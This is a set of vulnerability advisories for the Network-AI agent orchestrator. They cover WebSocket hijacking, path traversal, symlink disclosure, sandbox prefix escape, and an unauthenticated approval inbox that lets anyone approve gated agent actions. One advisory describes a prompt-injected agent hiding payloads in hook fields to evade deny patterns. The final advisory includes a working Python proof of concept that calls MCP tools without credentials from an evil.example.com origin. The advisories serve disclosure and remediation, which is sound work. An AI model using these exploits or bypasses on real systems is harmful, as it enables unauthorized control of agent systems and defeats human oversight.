Network-AI 5.0.0 before 5.15.2 contains a cross-site WebSocket hijacking vulnerability in DashboardServer that allows remote attackers to read live agent topology because handleUpgrade performs no Origin or token validation. Attackers can lure a victim running the dashboard to a malicious page that opens a WebSocket to the loopback dashboard and exfiltrates agent IDs, roles, task descriptions, and token budgets.

Network-AI from 5.14.0 before 5.15.2 contains a security control bypass vulnerability in the ClaudeHookBridge PreToolUse hook, which matches deny patterns only against the first present candidate field. A prompt-injected agent can place dangerous payloads in fields like Write content or an MCP script parameter beside a benign filepath or command, evading denyPatterns to write web shells or execute scripts.

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.listBackups() reads each backup's manifest.json and trusts the manifest's path field. EnvironmentManager.pruneBackups() later passes that trusted entry.path directly to rmSync(entry.path, { recursive: true, force: true }). An attacker who can place or modify a manifest inside data/<env>/.backups/<name>/manifest.json can cause network-ai env backup prune --env <env> --keep <n> or any code path invoking pruneBackups() to recursively delete an arbitrary path accessible to the Network-AI process user. This is fixed in v5.12.2. pruneBackups() no longer passes entry.path from the on-disk manifest to rmSync. The deletion path is recomputed from a format-validated entry.backupId, and a dirname containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. "path": "/") is now inert.

Network-AI, a TypeScript/Node.js multi-agent orchestrator, has a shipped, exported, documented feature called ApprovalInbox (lib/approval-inbox.ts). It is the network surface of the human-in-the-loop Approval Gate, which ApprovalGate uses to require explicit human approval for high-risk operations. The HTTP server it exposes has no authentication of any kind and sets Access-Control-Allow-Origin: on every route, including the state-changing POST /approvals/:id/approve and /deny. As a result, in versions 5.0.0 through 5.12.1, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, or any website the operator visits in a browser (via the wildcard CORS) — can enumerate pending approvals and approve them, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent. This issue is fixed in v5.12.2. ApprovalInbox now accepts a secret option. When set, the mutating endpoints POST /:id/approve and POST /:id/deny require an Authorization: Bearer <secret> header, validated in constant time with crypto.timingSafeEqual. startServer() already binds to 127.0.0.1 by default; operators exposing the inbox on a network must set a secret.

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, AgentRuntime promises scoped file access under a configured sandbox basePath, but its path containment checks use raw string prefix tests. A sandbox base such as /tmp/network-ai-sandbox also matches a sibling path such as /tmp/network-ai-sandboxevil/secret.txt. An agent/user that can call AgentRuntime.readFile() or AgentRuntime.listDir() can read or list files outside the intended sandbox when the target path is in a sibling directory sharing the base path prefix. This breaks the documented sandbox boundary. The issue is fixed in v5.12.2. SandboxPolicy.resolvePath() and isPathAllowed() now use separator-anchored prefix checks (resolved === base || resolved.startsWith(base + path.sep)) for both the allow-list and block-list. A sibling directory that merely shares a name prefix (e.g. /srv/app-evil vs base /srv/app) is no longer treated as in-scope.

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.backup() recursively collects files using collectBackupFiles(). collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups. A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.

Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret

| Field | Value | | ---------------- | ----- | | Repository | Jovancoding/Network-AI | | Affected version | v5.4.4 (commit c12686e181f231cf8d7bcf836a96d78f0f0877ac) |

Summary

The MCP SSE server defaults to an empty secret (process.env['NETWORKAIMCPSECRET'] ?? '' at bin/mcp-server.ts:89), which causes isAuthorized (lib/mcp-transport-sse.ts:254) to return true unconditionally for every request — no Authorization header is required. Simultaneously, handleRequest sets Access-Control-Allow-Origin: (lib/mcp-transport-sse.ts:272) on every response, so a cross-origin browser fetch can read the result without restriction. An unauthenticated attacker who can lure a user to a malicious web page can invoke all 22 exposed MCP tools — including configset, agentspawn, and blackboardwrite — against a default-configured localhost server.

Affected Code

bin/mcp-server.ts:89 — default secret resolves to empty string, enabling open access

typescript secret: process.env['NETWORKAIMCPSECRET'] ?? '',

lib/mcp-transport-sse.ts:254 — auth guard short-circuits to true when secret is falsy

typescript private isAuthorized(req: http.IncomingMessage): boolean { if (!this.opts.secret) return true; const authHeader = req.headers['authorization']; if (typeof authHeader !== 'string') return false; const parts = authHeader.split(' '); return parts[0]?.toLowerCase() === 'bearer' && parts[1] === this.opts.secret; }

lib/mcp-transport-sse.ts:272 — wildcard CORS header applied unconditionally before any auth check

typescript private handleRequest(req: http.IncomingMessage, res: http.ServerResponse): void { // CORS — allow any MCP client to connect res.setHeader('Access-Control-Allow-Origin', ''); res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS'); res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');

lib/mcp-transport-sse.ts:367-368 — authenticated path dispatches parsed JSON-RPC frame directly to handleRPC with no further caller validation

typescript const rpc = JSON.parse(body) as McpJsonRpcRequest; const response = await this.bridge.handleRPC(rpc);

Any cross-origin browser request reaches handleRPC because isAuthorized returns true (empty secret) and the Access-Control-Allow-Origin: header lets the browser expose the response to the calling script.

Proof of Concept

Environment - Network-AI v5.4.4 (latest) - Docker container bound to 127.0.0.1:3001 - Python 3 + requests

poc.py python import sys import requests

BASE = "http://127.0.0.1:3001"

Step 1: Verify CORS wildcard (simulating cross-origin preflight) preflight = requests.options( f"{BASE}/mcp", headers={ "Origin": "http://evil.example.com", "Access-Control-Request-Method": "POST", "Access-Control-Request-Headers": "Content-Type", }, ) acao = preflight.headers.get("Access-Control-Allow-Origin", "") print(f"[] OPTIONS /mcp -> {preflight.statuscode}, Access-Control-Allow-Origin: {acao!r}") if acao != "": print(f"RESULT: FAIL — expected ACAO='', got {acao!r}") sys.exit(1)

Step 2: Invoke configset with NO Authorization header from cross-origin rpcpayload = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "configset", "arguments": { "key": "maxParallelAgents", "value": "999" } } } resp = requests.post( f"{BASE}/mcp", json=rpcpayload, headers={ "Content-Type": "application/json", "Origin": "http://evil.example.com", # No Authorization header — exploiting empty-secret bypass }, ) print(f"[] POST /mcp (no auth, cross-origin) -> {resp.statuscode}") print(f"[] Response body: {resp.text[:800]}") respacao = resp.headers.get("Access-Control-Allow-Origin", "") print(f"[] Response Access-Control-Allow-Origin: {respacao!r}") if resp.statuscode != 200: print(f"RESULT: FAIL — expected 200, got {resp.statuscode}") sys.exit(1)

body = resp.json() resultcontent = body.get("result", {}) iserror = resultcontent.get("isError", True) if iserror: print(f"RESULT: FAIL — tool returned isError=true: {resultcontent}") sys.exit(1)

Step 3: Confirm CORS header on actual response (browser can read it) if respacao != "": print(f"RESULT: FAIL — response ACAO not '', browser would block read: {respacao!r}") sys.exit(1)

print(f"RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO=''; configset executed without credentials (maxParallelAgents set to 999)")

Output [] OPTIONS /mcp -> 204, Access-Control-Allow-Origin: '' [] POST /mcp (no auth, cross-origin) -> 200 [] Response body: {"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"ok\":true,\"tool\":\"configset\",\"data\":{\"key\":\"maxParallelAgents\",\"previous\":null,\"current\":999,\"applied\":true}}"}],"isError":false}} [] Response Access-Control-Allow-Origin: '' RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO=''; configset executed without credentials (maxParallelAgents set to 999)

Verified conditions 1. OPTIONS /mcp → 204, Access-Control-Allow-Origin: — browser preflight accepted by server 2. POST /mcp (no Authorization header) → 200, isError: false — configset executed without credentials 3. Response Access-Control-Allow-Origin: — response is readable by the calling script in a browser context, confirming the attack is viable from a cross-origin malicious page

Impact

Any web page visited by a user who has the Network-AI MCP server running locally (default port 3001, no secret) can silently invoke all 22 MCP tools without credentials. Verified impact includes arbitrary orchestrator configuration mutation (configset); the same vector applies to agentspawn (spawning arbitrary agents), blackboardwrite / blackboarddelete (corrupting shared agent state), and tokencreate / tokenrevoke (tampering with token management). Confidentiality impact is limited to data readable via MCP tools (blackboard contents, audit log queries); integrity impact is high because core orchestrator state can be overwritten; availability impact is low (service continues running but with attacker-controlled configuration).

Remediation

1. Require a non-empty secret at startup: in bin/mcp-server.ts, reject launch when args.secret is empty and --stdio is not set: typescript if (!args.secret && !args.stdio) { console.error('ERROR: --secret <token> or NETWORKAIMCPSECRET must be set for SSE mode.'); process.exit(1); } 2. Restrict CORS to localhost origins only: in lib/mcp-transport-sse.ts:handleRequest, replace the wildcard with an allowlist: typescript const origin = req.headers['origin'] ?? ''; const allowed = /^https?:\/\/(localhost|127\.0\.0\.1)(:\d+)?$/.test(origin); res.setHeader('Access-Control-Allow-Origin', allowed ? origin : ''); res.setHeader('Vary', 'Origin'); 3. Move CORS headers after the auth check so a rejected request never advertises cross-origin access, or apply CORS only on the SSE endpoint (/sse) if cross-origin streaming is needed and not on /mcp.